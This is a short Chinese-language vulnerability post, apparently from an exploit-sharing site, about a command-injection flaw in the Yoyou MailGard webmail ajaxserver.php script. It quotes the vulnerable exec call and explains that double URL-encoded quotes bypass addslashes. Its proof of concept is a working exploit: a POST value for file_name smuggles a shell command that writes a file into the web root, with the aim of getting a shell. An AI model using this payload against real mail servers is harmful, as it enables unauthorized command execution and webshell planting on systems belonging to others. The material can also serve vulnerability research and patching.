佑友mailgard webmail命令执行之二

和http://0day5.com/archives/3042类似,或者在其基础上进行补充

先来看下全局函数:include/common.php

可以看到对GPC的value做了addslashes处理
其实还包含了360的webscan防注入,这里没啥关系就不贴了
再来看src/ajaxserver.php的问题代码:

问题在于:

$file_name = urldecode($_POST[‘file_name’]);

exec(“cd ‘”.$dir.”‘; cp ‘”.$file_name.”‘ ‘”.$movefile.”‘”,$rs,$res);

虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST[‘file_name’]);,可以2次urlencode单引号绕过addslashes

POC如下:
1、找个账号登录http://mail.xxx.com/
2、打开http://mail.xxx.com/src/ajaxserver.php?exec=saveToNet&sd=aa:admin
3、POST net_dir=a&file_name=%2527|echo %2527%2527>/var/www/newmail/phpinfo.php%2527
4、访问http://mail.xxx.com/phpinfo.php
post

shell

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录